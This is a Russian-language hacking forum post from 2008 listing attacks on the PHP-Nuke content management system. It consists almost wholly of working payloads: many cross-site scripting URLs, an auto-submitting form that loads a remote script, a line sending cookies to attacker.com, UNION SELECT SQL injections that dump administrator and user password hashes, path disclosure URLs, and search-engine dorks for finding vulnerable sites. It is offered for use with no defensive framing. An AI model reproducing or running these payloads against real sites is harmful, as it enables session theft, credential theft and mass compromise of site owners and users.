Тема: [ Обзор уязвимостей PHP-Nuke ]
Показать сообщение отдельно

  #3  
Старый 19.01.2008, 21:00
ettee
Administrator
Регистрация: 12.10.2006
Сообщений: 466
Провел на форуме:
17234747

Репутация: 5170
По умолчанию
XSS
Код:
modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=00@b.org&text=f00%253c/textarea>%253cscript>alert%2528document.cookie);%253c/script>bar
modules.php?name=News&file=friend&op=StorySent&title=%253cscript>alert%2528document.cookie);%253c/script>
modules.php?name=Reviews&rop=postcomment&title=%253csc ript>alert%2528document.cookie);%253c/script>
modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>
modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=<body onload=document.title=1337>
modules.php?name=Downloads&op=search&query=><script>alert('ARIA')</script><
modules.php?name=Downloads&d_op=NewDownloads&newdownloadshowdays=
modules/coppermine/docs/menu.inc.php?CPG_URL=foobar"><body%20onload=alert(document.cookie);>
modules.php?name=Web_Links&l_op=NewLinks&newlinkshowdays=
modules.php?name=Journal&file=friend&jid=2&yun=
modules.php?name=Journal&file=friend&jid=2&ye=
modules.php?name=Journal&file=add&filelist[]=
modules.php?name=Journal&file=modify&filelist[]=
modules.php?name=Journal&file=delete&jid=&forwhat=waraxe
modules.php?name=Journal&file=comment&onwhat=
modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=
modules.php?name=Encyclopedia&op=terms&eid=1&ltr=
modules.php?name=Encyclopedia&op=content&tid=774&page=2&query=
modules.php?name=Encyclopedia&file=search&eid=
modules.php?name=Encyclopedia&file=search&query=f00bar&eid=
modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&url_title=foobar&url=
modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f003@bar.org&reviewer=f00bar&cover=
modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&rlanguage=
modules.php?name=Reviews&rop=preview_review&title=f001&text=f002&score=9&email=f00@bar.org&reviewer=f00bar&hits=
modules.php?name=Reviews&rop=Yes&title=f001&text=f002&score=9&email=00@b.org&reviewer=
modules.php?name=Reviews&rop=savecomment&uname=&id=8&score=9
modules.php?name=News&file=article&sid=1&optionbox=
modules.php?name=Statistics&op=DailyStats&year=2004&month=5&date=
modules.php?name=Stories_Archive&sa=show_month&year=&month=05&month_l=May
modules.php?name=Stories_Archive&sa=show_month&year=2004&month=&month_l=May
modules.php?name=Stories_Archive&sa=show_month&year=2004&month=05&month_l=
modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=&order=0&thold=0
modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=&thold=0
modules.php?name=Surveys&file=comments&op=Reply&pid=1&pollID=1&mode=thread&order=&thold=
modules.php?name=NukeJokes&func=CatView&cat=
modules.php?name=NukeJokes&func=JokeView&jokeid=
modules.php?name=Downloads&d_op=ratedownload&lid=0&ttitle=
modules.php?name=Downloads&d_op=viewsdownload&sid=
modules.php?name=Search&sid=
modules.php?name=Search&query=*&max=
modules.php?name=Search&query=waraxe&sel1=[xss]&type=comments
modules.php?name=Search&a=6&query=*&match=
modules.php?name=Search&query=*&mod3=
modules.php?name=Calendar&file=submit&type=
modules.php?name=Calendar&file=submit&op2=Preview&day=
modules.php?name=Calendar&file=submit&op2=Preview&month=
modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our query]
modules.php?name=NukeJokes&func=CatView&cat=[xss code here]
modules.php?name=NukeJokes&func=JokeView&jokeid=[xss code here]
modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=users&category=2
modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=comments&category=2
modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=stories&category=2
modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=reviews&category=2
modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=45435[XSS]
banners.php?op=EmailStats&login=[our_login]&cid=1&bid=
modules.php?name=Encyclopedia&file=index&op=terms&eid=1&ltr=
PHP код:
<html>
<form name=searchform method=post action=http://[target]/modules.php?op=modload&name=Search_Enhanced&file=index>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html> 

Search Module(all versions)
<img src=http://www.microsoft.com/404.jpg style=display:none onerror=alert(document.cookie) <
<iframe src=http://www.google.com style=display:none onload=alert(document.cookie) <

Pool and News Module
PHP код:
<img src="javascript:window.navigate('http://attacker.com/cookies.php?c='+document.cookie);" 
SQL injection:
Код:
modules.php?name=Reviews&rop=showcontent&id=-1%20UNION%20SELECT%200,0,aid,pwd,email,email,100,pwd,url,url,10000,name%20FROM%20nuke_authors/*
modules.php?name=Sections&op=viewarticle&artid=-1%20UNION%20SELECT%200,0,aid,pwd,0%20FROM%20nuke_authors
modules.php?name=Sections&op=printpage&artid=-1%20UNION%20SELECT%20aid,pwd%20FROM%20nuke_authors
modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%200,0,pwd,0,0%20FROM%20nuke_authors%20WHERE%201/*
modules.php?name=Sections&op=listarticles&secid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
modules.php?name=Downloads&d_op=viewdownloadeditorial&lid=-1%20UNION%20SELECT%20username,1,user_password,user_id%20FROM%20nuke_users
modules.php?name=Downloads&d_op=viewdownloadcomments&lid=-1%20UNION%20SELECT%20username,user_id,user_password,1%20FROM%20nuke_users/*
modules.php?name=Downloads&d_op=rateinfo&lid=-1%20UNION%20SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5
modules.php?name=Downloads&d_op=getit&lid=-1%20UNION%20SELECT%20user_password%20FROM%20nuke_users%20WHERE%20user_id=5
modules.php?name=Downloads&d_op=modifydownloadrequest&lid=-1%20UNION%20SELECT%200,username,user_id,user_password,name,user_email,user_level,0,0%20FROM%20nuke_users
modules.php?name=Downloads&d_op=viewdownload&cid=-1%20UNION%20SELECT%20user_id,username,user_password%20FROM%20nuke_users/*
modules.php?name=Web_Links&l_op=viewlinkeditorial&lid=-1%20UNION%20SELECT%20name,1,pwd,aid%20FROM%20nuke_authors
modules.php?name=Web_Links&l_op=viewlinkcomments&lid=-1%20UNION%20SELECT%20aid,1,pwd,1%20FROM%20nuke_authors/*
modules.php?name=Web_Links&l_op=visit&lid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
modules.php?name=Web_Links&l_op=brokenlink&lid=0%20UNION%20SELECT%201,aid,name,pwd%20FROM%20nuke_authors
modules.php?name=Web_Links&l_op=viewlink&cid=0%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors
modules.php?name=Web_Links&l_op=viewlink&cid=1%20UNION%20SELECT%20pwd,0%20FROM%20nuke_authors%20LIMIT%201,2
modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
modules.php?name=Video_Gallery&l_op=viewcat&catid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors
modules.php?name=Video_Gallery&l_op=viewclip&clipid=-1%20UNION%20SELECT%20name%20FROM%20nuke_authors&catid=1
modules.php?name=Video_Gallery&l_op=voteclip&clipid=-1%20UNION%20SELECT%20pwd%20FROM%20nuke_authors&catid=1
Full Path Disclosure
modules.php?name=Reviews&rop=preview_review&title= f001&text=f002&score=9&email=00@b.org&reviewer=oob &date=00b
/modules/Web_Links/voteinclude.php
/modules.php?name=Statistics&op=convert_month
/modules.php?name=Journal&file=add&filelist=oob
/modules.php?name=Journal&file=modify&filelist=oob
/db/db.php
index.php?inside_mod=1
/modules.php?name=Downloads&d_op=menu
/modules.php?name=Web_Links&l_op=menu
modules.php?name=Web_Links&l_op=viewlink&cid=1&sho w=oob
modules/NukeJokes/mainfunctions.php
modules.php?name=NukeJokes&func=JokeView&jokeid=oo b
modules.php?name=NukeJokes&func=CatView&cat=oob
modules.php?name=Downloads&d_op=viewdownload&cid=2 &show=oob
modules/Calendar/config.php
modules/Calendar/index.php
/modules/Calendar/submit.php
error.php?newlang=foobar
modules/coppermine/include/crop.inc.php
modules/coppermine/ecard.php
modules/coppermine/displayecard.php
modules/coppermine/db_input.php
modules/coppermine/config.php
modules/coppermine/addpic.php
modules/coppermine/phpinfo.php
modules/NukeJokes/mainfunctions.php
modules.php?name=NukeJokes&func=JokeView&jokeid=fo obar
modules.php?name=NukeJokes&func=CatView&cat=foobar
modules.php?name=Video_Gallery&l_op=viewcat&catid= darkbicho
modules.php?name=Video_Gallery&l_op=viewclip&clipi d=darkbicho&catid=1

dork:
"create the Super User" "now by clicking here"
inurl:"modules.php?name=" inurl:Web_Links|inurl:downloads|inurl:Your_Account
intext:"Thank you for trying PostNuke" intitle:"PostNuke Installation"
"Warning: setlocale()"
intitle:PHP-nuke.powered.site "create * Super User" "now * clicking here"
"Powered by PHP-Nuke"
Copyright © 2003 by PHP-Nuke
"allinurl:modules.php sgallery"
"powered by phphnuke 6.0"
intitle:"PHP-Nuke Powered Site"
Последний раз редактировалось ettee; 20.01.2008 в 05:58..
 
Ответить с цитированием